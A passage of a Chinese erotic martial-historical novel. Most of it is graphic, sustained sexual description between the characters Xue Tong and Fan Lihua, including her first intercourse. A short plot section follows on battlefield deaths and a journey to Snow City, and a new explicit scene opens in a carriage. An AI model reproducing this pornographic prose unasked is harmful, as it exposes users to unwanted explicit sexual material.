      话虽如此,双手并未收回,握住薛桐的龙枪,以掌心与薛桐的龙枪接触,双掌将薛桐的龙枪包在手中,上下搓弄起来,正是阳春三法的手交法。

      所谓阳春三法其实就是不用交合而可令男子达到快感,甚而射精的方法。说穿了就是口交、手交、乳交这三交法,因此称为阳春三法。这方法乃是女子所习,用来取悦男子的闺房秘术,不传男子。薛桐的龙枪被她温暖的小手握住搓弄,彷彿包在温热的棉团之中,不断受到挤压按摩,十分舒畅。包皮被樊梨花的玉指轻轻翻下,露出整颗火热鲜红的龟头。樊梨花手上功夫不错,手指在龟头的肉棱边轻擦抚弄,又不时在尿道口挑摸,弄得薛桐浑然忘我,气喘吁吁,龙枪又痒又胀,差点抵受不住,当场射精。

      樊梨花初时帮薛桐搓弄龙枪,羞得闭上眼睛,只是用手感受薛桐龙枪的变化,只觉薛桐的龙枪又热又大,握在手中十分充实。渐到后来,她越搓越快,薛桐抓在她胸前美乳的双爪也随着她的节拍而力道不同,她搓得快,薛桐感受越强烈,搓揉她玉乳的力道也就大增,反之她的力道减小,薛桐也跟着减轻力道。只觉得鼓胀的玉乳被薛桐一揉,酸痒的感觉便如洪潮退去,但薛桐的掌上力道一小,鼓胀之感又充实了整个乳房,直需薛桐再增力道加以揉弄才觉舒服。

      陡听薛桐闷哼一声,精关难守,真阳一阵搅动,尿道口一开,射出浓白浊重的精液。由于薛桐半跪坐地压在樊梨花身上,身子自然前倾,龙枪也朝向樊梨花的方向,一下子精液激射而出,不偏不倚,正好落在樊梨花脸上。樊梨花只觉得脸上热湿,似有黏稠之物落在脸上,眼睛张开,玉手自然缩回在脸上一抹,部分精液黏在她手上,定睛一瞧,羞得连忙闭上眼睛,把头别过一边,不敢再看。

      薛桐精液激射,体内慾火略消 ,见樊梨花娇羞如此,媚态迷人,龙枪又是一阵暴胀,火热坚硬。身子贴紧樊梨花,与她并躺床上,右手毫不客气地将整只手掌按在樊梨花饱满的美穴之上,只觉触手湿滑黏腻、温润火热,心知樊梨花的慾火已经燃烧到了极点。微微一笑,中指贯入温暖无比的美穴之中抽动,在她的阴道壁中磨蹭,弄得樊梨花发痒发热,紧夹双腿,却是半点力道也无。美穴中彷彿有几千、几万只蚂蚁在同时爬行,又麻又痒,却是无法搔到痒处,身子像毛虫一样忍不住蠕动起来,肌肤泛出阵阵红光,鼻息加快,美乳起伏不 ,央求道:「薛桐……你这坏蛋,不要挑逗我……好难受啊!」

      她说话断断续续,想是美穴已经湿透,需要一根强而有力的阳具满足她。

      薛桐得意一笑,突然间手指急颤,快速地在樊梨花的美穴里面抽插,和着汩泊流出的淫水,滋滋之声不绝。樊梨花哪里经历过这种风流阵仗?只觉快感一波波自美穴向全身散开,带着令人酥酸的电流传遍身子每一处,忍不住淫声、喘息时续时断、时快时慢,连薛桐的心跳也受到她所感染,彷彿被一条无形的线紧紧繫住,随着她的喘息声跳动,血行加速,心脏抨评急跳。

      樊梨花则是香汗淋漓,表情似痛苦又欢喜,脑子里热烘烘的,已经没有办法思考。秀发也沾上汗珠,显得光滑油亮,脸上薛桐的精液发出淫靡的异香,海潮似的冲进樊梨花的鼻中,刺激樊梨花的感官,发挥催情一般的功用,几乎要将樊梨花掩没……由于第一次被男人如此对待,虽说薛桐是她心中认定的爱人,但樊梨花心中仍升起强烈的羞耻感,彷彿薛桐以手指取悦她的同时,四周有无数对眼睛正一眨也不眨地看着她,无数对观看的眼睛像是放出灼人的视线,在她身上来回巡视,尤其是下身阴部的蜜洞,水淋淋、红艳艳闪动妖异的光泽,似乎在招呼朴他人入内一游,身子不断扭动,既觉羞耻,又感快活。

      突然间,樊梨花觉得身上重物压身,张眼一看,薛桐已经压到她的身上。薛桐见樊梨花羞态可掬,心中不由得一荡,粗大坚挺的龙枪顶住樊梨花的小穴,先沾满了淫液润滑,而后慢慢地塞入,龟头才插入,樊梨花已感到下身充实,一条火热坚硬的东西进入自己的身体。而樊梨花破天荒头一遭做这种事,龟头才入,不免紧张,美穴向内挤压,将薛桐的龙枪夹得紧紧的,好不快意。

      薛桐略一用力,想尽根而入,然才一用劲,樊梨花便发出轻微的呻吟。薛桐心知这是樊梨花的第一次,万万不能太过粗暴,就将身子贴上,在她耳边呵气,吻着她的耳垂道:「梨花,忍一下就好。第一次会有点疼,之后就会快乐了!」

      说着,龙枪又插入少许。樊梨花虽然极力忍耐,但美穴整个被撑开的感觉就好像撕裂一般火辣辣的疼痛,她紧咬下唇柳眉微皱,薛桐将温热的嘴唇凑了上去,含住她的樱唇细细吸吮。

      薛桐见她转移注意力,小穴已不似先前那么紧缩,便想中宫挺入,犁庭扫穴,大杀一番。于是臀部用力一压,龙枪整根贯入,冲破代表处女贞洁的帘幕,龙枪直抵花心嫩肉,紧紧相靠。樊梨花正沈醉在淫水龙枪的异香之中,整个人飘飘然,谁知陡然下身一痛,一根织烈火热的龙枪贯入,逼开两片肉唇,翻出热烫的艳红柔肌紧紧将薛桐的龙枪夹住,直把樊梨花由天上摔到地下,痛得紧抓薛桐肩膀后背,手指深陷薛桐肌肉之中,身体与薛桐用力相抵,藉以减轻疼痛。薛桐被她抓得痛极,差点叫出声来,可他知道樊梨花此时定是剧痛,才会做出如是反应,当下便不敢抽弄,按兵不动,一边在她胸前美乳摸捏,一边不停吻着她的额头、脸颊、嘴唇、雪颈、耳后等女人最敏感的部位,手指暗用阴劲,在樊梨花的乳根穴、乳中穴上按揉,以挑情手法惹起樊梨花的慾念,使之忘却下体之痛。

      「薛桐,我里面好胀。」

      樊梨花轻吟着。

      薛桐知道此时抽插不得,只有用水磨功夫才能将樊梨花的情绪安抚下来,当下紧紧夹住樊梨花,轻怜疼爱,不住在她的耳边吹气亲吻,深拥怀中,让樊梨花有被全心呵护的感觉,试图分开她的注意力,以便减少下身破身之痛。樊梨花先是觉得极痛,下身彷彿裂开一般疼痛,唯有紧抓薛桐藉以降低自己的苦楚。不过薛桐的挑情手法极为高明,每次爱抚、揉弄都如弹琴挑弦一般撩起樊梨花的情慾之火。薛桐的龙枪初入之时,樊梨花痛苦无比,心中不免埋怨他不懂温柔,弄痛自己,但随着薛桐以挑情手法在她敏感部位重新挑起情慾,心中因痛楚而稍熄的慾火也慢慢转旺,下身搔痒酥酸之感再次回来,煎熬的淫水汩汩直流,又湿又热,不禁难过得发出呻吟,美臀不由自主地摇了起来。

      薛桐龙枪插入之后,整根塞在樊梨花的阴道之中,虽然不动,却是胀得十分难受,尤其洞内温暖紧窒,更是难忍,龙枪胀痒发热,想抽插小穴,借摩擦阴道壁释放潜藏在龙枪中的能量,却又担心樊梨花痛彻心扉,因此迟迟不敢动作,隐忍之苦亦不下樊梨花的破身之痛,只是感觉有异罢了……待得樊梨花忍受不住,美臀挺动迎合,薛桐心里这才舒了一口气,喜道:「好了,可以开始了。」

      他仍是不敢用力,整个人缓缓贴着樊梨花的身子前挺,龙枪徐徐深入、缓缓退出,左手环在樊梨花颈后与她相吻,右手则不住地玩弄樊梨花的乳房,在她的乳头上撚揉搓捺,挑缠卷点,如火炉鼓风似的将她的慾火越催越旺。

      樊梨花只觉下身虽有淫水润滑,不致如刀刮刃割一般痛苦,亦觉擦伤似的火热疼痛,柳眉微蹙,红着脸低声道:「薛桐!轻……轻些,我怕抵受不住!」

      薛桐一边轻抽慢插,一边安慰她道:「梨花我会很温柔的。」

      说话间,龙枪已渐渐力道略增,棒身渐起舒爽快感。樊梨花亦觉下身没之前那么疼痛,反而觉得薛桐愈是抽插,自己愈是多水,穴中搔痒愈发纡解、舒服,肌肉不自禁地放鬆,不再将薛桐抱得那么紧。樊梨花双手一鬆,薛桐便有更多的空间活动,不用紧贴樊梨花身上不敢稍动。当下臀部用劲,力道渐增,一边享受龙枪抽插的快感,一边欣赏樊梨花的艳姿媚态。

      樊梨花虽觉小穴中被薛桐抽插得极为舒服,但不知怎的,总觉薛桐抽插的力道不够,只是隔靴搔痒,未能尽解穴内酸麻。身子不由得蠕动起来,脸上红光潋丽,春情浓烈,似是幽怨,又似难过地发出喘息,胸前双峰因起伏而显出皎白乳波,带着油光,看上去闪闪动人。樊梨花整个人如灵蛇一般缠上薛桐,小穴紧紧套住薛桐的龙枪厮磨,只求龙枪能更加深入,插顶花心嫩肉,以求搔痒得解 。小嘴咬着薛桐耳朵喘息道:「薛桐……快……插我……我要……」

      薛桐故作不知,也在她耳边道:「梨花要什么啊?」

      樊梨花脸上一热,狠狠瞪了他一眼道:「你这坏蛋就会欺负我。」

      薛桐轻笑一声,靠在她耳边悄悄道:「夫人莫要生气,我要开始发力了。」

      说完后龙枪陡然大力上顶,狠狠撞向樊梨花蜜洞深处,撞得樊梨花无力地娇吟一声,魂魄彷彿在剎那间被撞得散碎离体,只一瞬间,便又魂魄归位,複合为一。

      薛桐这一撞力道十足,樊梨花只觉整个人轻了不少,十分舒畅,尤其花心伸展,倏紧乍鬆的感觉更是萦迴不去,急需薛桐再次落力撞击。薛桐这次撞击,不仅带给樊梨花快乐,自己也是十分舒服,当下再次用力,快马加鞭地抽插起来,同时喘息道:「梨花,里面好舒服,我爱死你了。」

      龙枪用力,抽插如风,如猛鸡夺粟,又快又急地狂点花心,快感电流立刻由中心向四周扩散,转瞬间传遍樊梨花全身。如矿工採炭,一次比一次深入,一次比一次酥酸,龙枪夹着噗滋噗滋的水声,把樊梨花弄得骨软筋酥,任凭欲潮风浪袭来,在情涛中浮沈。

      薛桐愈抽插愈兴奋,索性将樊梨花的左腿高高 起,暴露鲜红嫩湿的美穴、雪白的大腿腿肉以及乌黑油亮的阴毛,红、黑、白三色辉映,看得薛桐龙枪更呈胀大,尽力猛抽。樊梨花蜜洞被薛桐一阵狂抽猛送搞得香汗淋漓,秀发沾湿,螓首不住摇晃,欲焰狂潮一波波涌来,一浪未尽,后头的浪潮已经卷至,整个人沈浸在慾海之中,彷彿一叶小舟于惊涛怒浪中浮沈起落,时而白浪涌天,小舟被捲上青空,似乎伸手便可採摘流云;时而千迴百转,漩波陡现,将她完全吸向慾海深处,彻底淹没,一高一低,一起一落,一颗心随之若飞若沈,畅快之至,想要大叫,却是一点声音也无。美穴肉唇吞吐龙枪,翻出一阵又一阵的淫液浪水,既热且烫,彷彿有生命似的向外呼吸开阖,龙枪挤入,淫液便涨满溢出,顺着龙枪两端流下,连股沟都沾满闪闪发光的淫水,湿透下身,阴部附近的肌肉红亮鲜豔,光泽闪闪,十分可爱。

      薛桐连续抽了五、六百下,藏于龟头棒身的能量稍洩,龟头肉棱前缘可见尿道口渗出的精液。薛桐将龙枪自樊梨花穴中抽出,把樊梨花修长的美腿放下,正想将樊梨花翻过来,以隔山讨火的姿态再来一次。突然间,樊梨花双腿一紧,雪臀挺上,将薛桐的龙枪吞入穴中,身子一翻,不知哪来的力气,居然将薛桐抱住一滚,翻在身下,整个人压在薛桐身上,成了男下女上。樊梨花下身紧贴薛桐阴部,将龙枪含在穴中,上半身微微撑起,双手按在薛桐胸前,螓首低垂,秀发自额头两侧飞瀑似的泻下,不禁单手撑在薛桐胸门,空出一手将秀发往后拨,螓首随之向后挺仰,将头髮向后一甩。

      薛桐只觉得鼻头被她秀发扫过,传来阵阵玫瑰花香,香气不浓,淡雅宜人,却又不失雍容气度。目光不自禁落在樊梨花的胸脯之上,只见胸前玉乳高挺颤动,两粒淡红色的乳头如寒梅新苞,在雪白的美乳上面染出两点艳红,兀自上下跳动,似乎在向自己招手。正想伸手去摸,只听樊梨花喘气道:「薛桐,方才你在上面,这次换我在上面,你接招吧!」

      薛桐听得哭笑不得。虽然觉得被女人骑在身上有失英雄气概,却也更加兴奋,颇有棋逢敌手之感,心中争胜之念大炽,定要将樊梨花驯服胯下,乖乖听自己吩咐。才想翻身将樊梨花压在身下,樊梨花已经不顾一切,如石磨一般旋转雪臀,樊梨花的蜜洞嫩肉已经将他的龙枪龟头紧紧包住,借女上男下之势,夹住薛桐的龙枪猛旋。

      薛桐的龙枪龟头传来阵阵酥酸,麻痒渐增,彷彿樊梨花的蜜洞真像个石磨,每一转都将精液挤出一点,力道轻重皆由她所控制,薛桐几次猛攻回刺,都被她身子一抖,扭臀骤摇,弄得龙枪差点守不住精关,就要喷射出来。龙枪阵阵酥酸无力,虽然性器高举,却是棒身灌满了精水,只要樊梨花再一用力,就会失守……

      薛桐在樊梨花在石磨旋转的绝技之下,龙枪得到前所未有的快感,樊梨花的雪臀越是转动得厉害,薛桐的感受也就越强,阵阵快感袭上身来,下身狂震,彷彿通了电流,在下体到处乱转。

      樊梨花上身挺直,身子骑马一般不断上下颠簸,套弄薛桐的龙枪,双手紧紧捏着自己两只玉峰,不住按压揉弄,发出淫声道:「薛桐,我……我好……舒……舒服……好爽啊!」

      薛桐见她胸脯两只乳峰被她自己的双手揉搓,挤出一条深陷的乳沟,晶莹汗珠自她的秀发、脸庞、身上流下,胸前玉乳因为汗湿更显诱人。

      油亮亮的光泽,在樊梨花用力握挤美乳之下显得媚态纷呈,既淫蕩又美丽,眼波扫来一丝丝视线,引得薛桐慾火大炽,忍不住双手扶住她纤细的小蛮腰,龙枪急挺,撺击着樊梨花的花心嫩肉。樊梨花骑在薛桐的身上,只觉花心连连被撞,心头也随之紧缩,叫道:「啊……薛桐……你好厉害……梨花被你干死了……嗯,再来… …用力!」

      叫声渐高,彷彿已到极乐境地。

      薛桐也是满头汗珠,龙枪被樊梨花的小穴夹得肉紧。樊梨花美臀的扭动让他觉得龙枪像打了个结,两端用力拉扯,扭捲到极点,而后慢慢伸展。一鬆一紧之间,时间拿捏得恰到好处,紧时彷彿万马奔腾,真如天地初生,就要飞爆开来,鬆时则如清风拂江,人浮大海,真是一望无际。樊梨花也被薛桐一柱擎天的龙枪顶得十分舒畅,穴心如同万蚁噬咬的搔痒酥酸,薛桐的龙枪一撞,搔痒之感便如天星乍碎又复合,先是爆裂成无数星块,又在一剎那间聚合复元,搔痒又起,只有再次坐下沈扭,让薛桐的龙枪再次顶在穴心,才能纡解搔痒,感到通体舒活。

      薛桐一手扶着樊梨花腰身,一手在她肥美的乳球上大肆轻薄,用力捏拉,喘息道:「怎么样?梨花,我干得不错吧?」

      说着,又是狠狠连顶三记,把樊梨花弄得哎呦连叫,身子前倾,两只雪白嫩滑的美乳在薛桐眼前跳动,又滑又腻,不时发出雪白的柔光,乳波阵阵,乳香和着处女幽香,夹杂阴部异香、玫瑰发香吸入薛桐鼻中,更显刺激。他的手掌一用力,整个抓住樊梨花的乳房,只觉触感柔 嫩舒滑,温暖细緻。樊梨花连连喘气,小嘴道:「薛桐……你插得真好啊……好舒服……啊啊!」

      陡然间,叫声倏高八度,原来薛桐趁她说话之际,猛力连捅数下,龙枪顶旋花心,樊梨花整个人连魂都几乎快被轰散了。薛桐大力进攻,把樊梨花搞得难以招架,虽然极力紧缩阴道,要让薛桐的龙枪紧得求饶,但薛桐龙枪不知怎地传来源源不绝的热气,一碰穴心,嫩肉彷彿被开水烫过一般毛孔全开,舒展鬆弛,再难收聚,全身也是酥酸连连,彷彿有人用柠檬在她的小穴嫩肉上连擦,酸液渗入,那种酸在肉里、酥入骨中的感觉,好像连骨头都要化掉,只能不停喘气。

      薛桐一张脸埋在樊梨花的乳房之中,肌肤所触全是光滑柔嫩、肥圆韧弹的雪肌玉肤。鼻中闻得乳香,彷彿浸淫在乳浪之中,又是兴奋、又是快活。好一会儿,薛桐 起头来,臀部猛一用力,砰的一声,樊梨花的玉背撞在床上,薛桐再度把樊梨花压在身下,龙枪汇集所有能量,一次送出。龟头陷入花心嫩蕊之中,整个被紧紧包住,用力收缩,只觉得龟头又热又湿、又酸又痒,再也忍不住,「啊」的一声,精关大开,如火山爆发,又浓又热的精液射出,彷彿一道强力水柱撞在樊梨花的花心嫩肉之上。樊梨花的嫩肉被薛桐一撞一射,哪还挡得住不洩?

      花心又酥又热,大叫一声,将薛桐紧紧抱住,阴精当头淋下,与薛桐的阳精和成一团,双腿无力缓缓放开,美穴之中,精液 浓浓自蜜洞渗出,沿着腿根流了下来,最后弄湿薛桐的阴囊,樊梨花阴毛也因为涂上一层精液而显得乌黑油亮。

      梅开二度之后,二人小睡片刻。薛桐醒来,先是眼皮一动,缓缓睁开眼睛,他的四肢自然伸展,在樊梨花柔嫩的乳房碰了一下,把樊梨花也碰醒了。樊梨花慵懒地睁开眼,双手自然去揉眼睛,打了一个呵欠。这时薛桐已经坐起,看见樊梨花修长浑圆、细緻无瑕的玉腿仍跨在自己双腿之间,不禁好笑,心道:「梨花看上去冷静自持,没想到私底下也蛮风流的。 」

      胯下龙枪因为一觉醒来,阳气正盛,兀自充血发胀,高举坚挺,薛桐于是一记翻身,压到樊梨花身上。

      樊梨花揉揉双眼,睁眼一瞧,却见薛桐笑吟吟地压在自己身上,两人面对面,相距不及一尺,薛桐饶富兴味地看着她,看得她不禁大羞,想起昨日与薛桐两人在床上巫山云雨,更是玉面火热,急着就要起身,一挺玉背,就想坐起。奈何薛桐压在她身上,双臂架在她膝盖之后,略一用力,樊梨花雪臀 起,双腿高举,露出世人皆迷的蜜洞,只见蜜洞因为薛桐阳精以及樊梨花阴精的浇灌,虽经一夜时间,仍是儒湿一片,浓稠乳白的精液有一部分黏在茂盛的阴毛之上,阴毛受精液淫水整夜浸泡,润滑油亮,连带阴部旁边的肌肤也沾上些许,油嫩嫩、滑腻腻的,令人忍不住想摸一把。

      薛桐下身龙枪正胀痒,见到如此美景,双臂将樊梨花双腿架高,略挺虎腰,将龙枪对準樊梨花油光润滑的美穴,哗滋一声,借淫水精液润滑之助,毫无困难地挺了进去。薛桐龙枪胀痒略消,如释重负,脸上肌肉放鬆,面露微笑,神情陶醉之极,缓缓吐出一口长气,显然乐在其中。樊梨花只觉小穴闯入一个不速之客,蜜洞完全被龙枪充满,又热又暖,水汪汪的大眼抛出柔媚浓情的眼波,玉面含春,脸上表情似幽似叹,似怨似喜,圆臀自然扭动,薛桐只觉得震波自龙枪袭来,十分快活。一连数十次进击猛刺,勇猛如狮,把樊梨花弄得全身一阵躁热,小穴嫩肉急抖,淫水涔涔,娇躯一阵颤抖过后,桥软无力地瘫在薛桐怀中。

      「薛桐,人家刚开苞,你的宝贝太厉害,让我休息一会。」

      樊梨花求道。薛桐点头说:「梨花,我会爱惜你的。」

      说着,坚硬龙枪便从她的美穴抽出,但见樊梨花两片肥美而湿漉漉的花瓣颤动,中间一条粉红色的裂缝正渗出乳白色的蜜汁。薛桐双手将樊梨花雪白修长的玉腿往两边拉开,目光犹如鹰隼似地紧紧盯在水汪汪的粉红色裂缝,一阵轻刮搅弄,立即水花四溅沾满手指,他细心放入嘴里品嚐,扑鼻的女人肉香竟带着淡淡的甜味,薛桐忍不住埋首在她的两腿之间,伸出粗大的舌头搅弄樊梨花两片肥美的花瓣和充血变硬的肉芽,又用嘴狂吸汹涌而出的花蜜,樊梨花乳白色的淫液弄得他满脸满嘴都是,甚至沾湿他脸上的毛髮。

      樊梨花哪里经得起这般高超的性挑逗,已经完全陷入情慾的深渊,粉嫩的肌肤呈淡红色,曲线优美、柔若无骨的胴体散发着诱人体香。佳人玉体是如此完美无瑕,白皙肌肤那样娇嫩柔滑,吹弹可破的肌肤之下,似有光泽流动,触手又是如此富有弹性。「不要……薛桐,我不行了……快给我……」

      樊梨花桃源之中又有一股春水溢出,玉臂抱住薛桐的头呼喊道。薛桐直起身子,再次将坚挺龙枪刺入她灾情氾滥的玉穴,大力冲刺起来。俏脸酡红的樊梨花轻轻低吟着:「好厉害……用力……干我啊……」

      销魂蚀骨的欢叫,顿时响遍房间。

      薛桐将樊梨花的双腿架到自己的肩上,调整龙枪与美穴的角度。準备进行蓄势已久的最后一击。薛桐连续抽插之下,樊梨花已经陷入半清醒、半疯狂的状态,嫩穴像有一条烧红的铁棍上下搅动,打得她全身舒爽,那种酥、麻、酸、痒的感觉,要多痛快就有多痛快!粗大龟头在花瓣一进一出,快速摩擦美穴的嫩肉,产生至高无上的快感!「哎哟!轻一点,都快插入人家子宫了!」

      樊梨花秀眼一翻,娇喘连连……看上去媚极、美极、动人极了!「哎哟……薛桐,你干死我了!」

      看她娇吟不断,薛桐越乾越起劲,越乾越疯狂,龟头一连几下顶到樊梨花的花心,樊梨花情不自禁地浪叫,把薛桐越搂越紧,身子抽搐得更加厉害。

      樊梨花在薛桐身下拼命扭动,动作越来越激动,阴壁随着阵阵收缩,花心吸吮龟头,龟头顶撞花心,薛桐舒服得大喊大叫起来:「我顶不住……了… …我也要死……了……」

      薛桐大吼一声,精液 如注,分量十足的阳精一下子注满樊梨花的子宫,薛桐筋疲力尽地压在樊梨花身上,注视性交过后的樊梨花,诱人脸蛋更显美艳……在樊梨花身上花开三次,薛桐身体终于恢复正常,梨山圣母将自己亲手熬製的灵药让薛桐服下,薛桐谢过梨山圣母救命之恩。之后的日子,他和樊梨花二人有如新婚燕尔,夜夜寻欢作乐。在薛桐的开发和调教之下,樊梨花变得越来越性感,配合薛桐游刃有余,二人如鱼得水好不快活。

      因为惦记着两军前线的情况,薛桐伤势痊癒之后,极欲回到战场,樊梨花看出他的心思,提议跟薛桐一同回寒江关。于是二人辞别梨山圣母,快马加鞭返回寒江关。

      【第十一集】第三章:前往雪城

      刚刚回到寒江关,就发现关内白幡高挂,初始二人以为是为樊洪而挂,进得帅府才知道,竟然是薛仁贵、苏黎、柳寒山、苗东波、燕山亭、李秀堂六人在三天前阵亡,尸骨昨日运回寒江关。薛桐闻言大惊,自己负伤离开寒江关不过十余日,想不到这里竟然出了如此大事。

      但见林雪贞、陆紫苑、薛清影、薛小钗等人披麻戴孝、痛哭流涕的样子,薛桐一问才知道,原来自己负伤之后,邪皇和杨藩杀出寒江关,逃回西越国都。西越皇帝听闻寒江关失守,茜茜公主又告诉父皇,是杨藩伙同邪皇杀了樊洪,挑起了两国战争。于是西越皇帝要杀杨藩和邪皇,不料二人提前下手,一场兵变杀了西越皇帝,杨藩登基继位。他请来他的师叔,邪皇的师弟大巫师邪神帮助自己统领西越士兵,準备应付圣唐的大军。

      得知西越朝中发生巨变,薛仁贵认为应该立即出兵,一举歼灭西越。于是擅作主张,率领薛丁山、苏黎、柳寒山、苗东波、燕山亭、李秀堂以及五万大军,直扫西越皇城。没想到西越放弃白虎关,邪皇在双龙山摆下双龙阵,薛仁贵贪功冒进,结果命丧阵中,苏黎、柳寒山、苗东波、燕山亭、李秀堂也魂断异乡,薛丁山下落不明。

      听逃回来的士兵说,这座双龙阵十分诡异,冲入阵中,唐军突然变得焦躁不安,甚至眼前出现幻觉,一沖入阵中就和自己的军队打起来,先是苏黎杀了李秀堂,苗东波、燕山亭杀了柳寒山,薛丁山又杀了苏黎,薛仁贵则杀了苗东波和燕山亭。最后,薛丁山一箭射死薛仁贵,唐军整个乱了套,自相残杀以致死伤过半,薛丁山最后去了哪儿,无人知晓。

      林诗冰长叹道:「这是邪皇用他的幻灭真元摆下的嗜血双龙阵,可怜我几名徒儿冤死阵中,这个仇一定要报。」

      柳玉琼和苗若寒纷纷哭着要薛桐为自己的父亲报仇,薛桐劝道:「大家稍安勿躁,如此深仇大恨当然要报,可是你们想过没有,双龙阵如何才能破解?没有破解的方法,进去多少人也是白搭。」

      薛桐的话让大家安静了下来。

      林雪贞说:「是啊,我们必须想个万全之策,不然的话,仇报不了,又要枉死无辜。」

      窦仙童两头巨犀被樊梨花杀死,还被打成重伤。这些天,她猜到薛桐必定跟樊梨花好得不得了,心中醋意十足。只不过,她现在已经归顺薛桐,谁也不敢提及前帐,窦仙童冷嘲着问樊梨花:「梨花妹妹,你武功高绝,可晓得破阵之法?」

      见樊梨花摇摇头,窦仙童冷笑道:「哎!我还以为唐军能指望你呢。」

      樊梨花脸上乌云密布,对窦仙童没什么好感,她知道自己杀戮无数,手上沾满唐军的鲜血,薛桐现在又对自己这样好,这些女人一定嫉妒死自己,所以也不多言。

      听窦仙童问自己,樊梨花说道:「我只晓得邪皇精通兵法,擅长布阵,但是双龙阵还是头一次听说,一时想不到破解之法。以我之见,要想克敌制胜,必须知己知彼,我想亲自走一趟西越皇城,探明双龙阵的奥秘。」

      薛桐说:「眼下也只能这样,梨花,我陪你一同前往。」

      窦仙童赶紧道:「我也去。」

      薛桐点点头:「那好,我们三个準备一下,明天就动身。」

      杨幂儿突然站出来:「等等,我有话要说。」

      薛桐问:「幂儿,你有何话要说?」

      杨幂儿说道:「我哥哥、嫂嫂如今镇守雪城,雪城虽然不大,兵马不多,但雪城一带十分富饶,牛马成群、粮草充足。西越军后勤一半供给都是来自雪城。杨藩作乱杀了皇帝,我想薛元帅应该考虑收服雪城的人马,如此一来,西越的军中补给就会减半,军心自然涣散。另外,我嫂子精通阵法,我们可以向她询问是否懂得双龙阵的破解之法。」

      薛桐说道:「妙极。」

      樊梨花也说道:「当年的太子妃云朵,也就是杨幂儿的嫂子,是崑仑武圣的旗下弟子,论辈分和我算是同门师姐妹,她精通五行八卦以及排兵布阵之法,薛报如果能将她收服,我们对付双龙阵又增添几分胜算啊。」

      杨幂儿继续道:「前不久,我嫂子的人马偷袭了他的铁甲飞狼,杨藩已经有所察觉。杨藩登基之后,派他的师叔大巫师邪神率兵扼守天京,这个迹象足以表明他要对我哥哥、嫂嫂动手了。」

      薛桐说:「既然如此,杨幂儿与我们一道前行,我们先去雪城,帮助杨幂儿兄妹打败邪神,夺取天京掐断杨藩的臂膀,回头再对付他的双龙阵。」

      安排好一切之后,薛桐让林诗冰、林雪贞、薛清影祖母孙三女守住寒江关,自己会同樊梨花、窦仙童以及杨幂儿,又挑了罗通、罗仁兄弟当车夫,动身赶往雪城。

      通往雪城的路上,走着两辆豪华马车,两辆马车都经过薛桐改装,他特意在上面加装足以支撑马车重量的弹簧和固定装置,类似现代汽车的悬挂,坐在里面果然非常舒服,跟原来的颠簸相比,简直就是上了天堂。车窗外,丘陵沙地,狂风呼啸,漫天飞沙,只要探出头,就会弄得一嘴沙子,眼睛不大敢睁开。樊梨花的脸上神情冷肃,一双晶亮眼睛如同狩猎的狼,整个人散发着冰冷的气质,头上?

      纱帽也是男子样式。她的一双眉毛,直的部分多,弯的部分少,隐隐有股男子气概,整个人像是开在冰峰的雪莲,高洁、冷傲,却有一丝无法掩饰的女性娇柔。

      「此去雪城,前途艰险,你不要随便离开我身边。」

      樊梨花的语气冰冷中透着一丝温暖,这个高高在上的女人,总是时而显露一股傲气,薛桐虽然与她有了最亲密的关係,有时也受不了这种气质。这也难怪,樊梨花武功确实比薛桐高了许多,尤其她一身冰冷的寒气,在战斗之中更是起到意想不到的奇效。樊梨花不喜多言,刚才这句话已经算是说得相当多,薛桐对她这种性格有些无奈,只好点头答应道:「好吧,不过……你能不能……热络一点?后面两个都是我的女人,大家要团结在一起。」

      「哼,我不喜欢。」

      樊梨花冷哼一声,眼睛望向车窗外,眺望外面的漫天黄沙,不知心中在想着什么。她就是这么一个率性而为的女人,喜欢就做,不喜欢就不做,谁能把她怎样?天下间又有几人能够把她怎样?「唉……」

      薛桐差点抓狂,从她的背后探过手,轻轻搂住她柔软的身子,樊梨花娇躯轻颤,渐渐放鬆,身子轻轻后仰,依偎在薛桐怀中,被薛桐这么抱着,她能感受到令她安心的、人间最美的感情——爱情。

      薛桐见她的身子软了下来,把嘴凑到她小巧可爱的耳边,温声道:「梨花宝贝,你就算是为了我,委屈自己一下都不行吗?仙童和杨幂儿人都很不错。 」

      薛桐话里充满一种恳求。

      「哼,既然不错,为何每次见了我都绷着一张脸?」

      樊梨花坚定回答道。她心中也是非常郁闷,与窦仙童本就不睦,一路上窦仙童更是没事找事提及她的短处。而今被薛桐这根线扯在一起,忍住不杀窦仙童已经是她忍耐的极限,还要她跟窦仙童在一张床上伺候薛桐,根本就是不可能的事情。

      「算了,我不会勉强你的。」

      薛桐探手进入她的内衣,抚弄她胸前饱满的一对高峰。薛桐直感叹:「穿单衣就是方便,伸手就能摸到这对大宝贝。」

      她的皮肤细腻柔软,却有一些冰凉,薛桐轻抚之下,能感觉里面青春的脉动,温热感非常明显,似乎有什么活跃的气息正在里面律动。「好奇怪的感觉,梨花,你这对宝贝真好。」

      薛桐说话的气息喷在樊梨花的耳垂,弄得她十分难受,不由得回头用美眸横了薛桐一眼。

      「嗯哼……」

      樊梨花被他摸得舒服,只发出一声好像反对的轻哼,将美臀坐到薛桐腿上,轻轻扭动。樊梨花的外表虽然冰冷,内心却有着一般女人的炽热,有着对男人的渴望,久旱的身体忽逢甘露,自然是焦渴至极。这位端庄高傲的女侠,被薛桐俘虏之后,已经变成渴望爱情的女人,她的玉手轻轻握住薛桐的胳膊,柔唇轻吻向薛桐的脸,盼望他再次给予自己销魂蚀骨的美妙感觉,她虽然矜持,但对男人的渴望,足以让她忘记自己的本性,露出淫蕩的一面。

      薛桐曾经试图让她与窦仙童、杨幂儿一起服侍自己,但樊梨花说什么也不肯。

      樊梨花只有单独跟薛桐在一起的时候,才会露出她对男人渴望的一面,此时她的娇喘越来越剧烈,乾脆转过身,猛然抱住薛桐,腻在薛桐的怀里。薛桐也非常喜欢樊梨花,这位绝世高手她的气质冷艳,叫春的时候总让薛桐非常有征服感,她还有一样特技,就是可以维持任何动作许久——这可是最令薛桐舒服的事情。

      当两人的欢爱达到极点,樊梨花仍然能保持某种「可爱」的姿势,即使已经迷醉到了极点。

      马车在奔跑,二人脱去下身的衣裳,樊梨花横身跨到薛桐身上,玉手持住薛桐的龙枪,薛桐开心地说:「梨花,快些让我进去。」

      樊梨花点了点头,脸带娇羞,双腿缠住薛桐腰身,气沈丹田,将薛桐的龙枪请入洞中。龙枪入洞,樊梨花便觉一根又红又烫的大铁棒插了进来,紧紧顶住花心穴肉,一股温热的酥麻传遍全身。

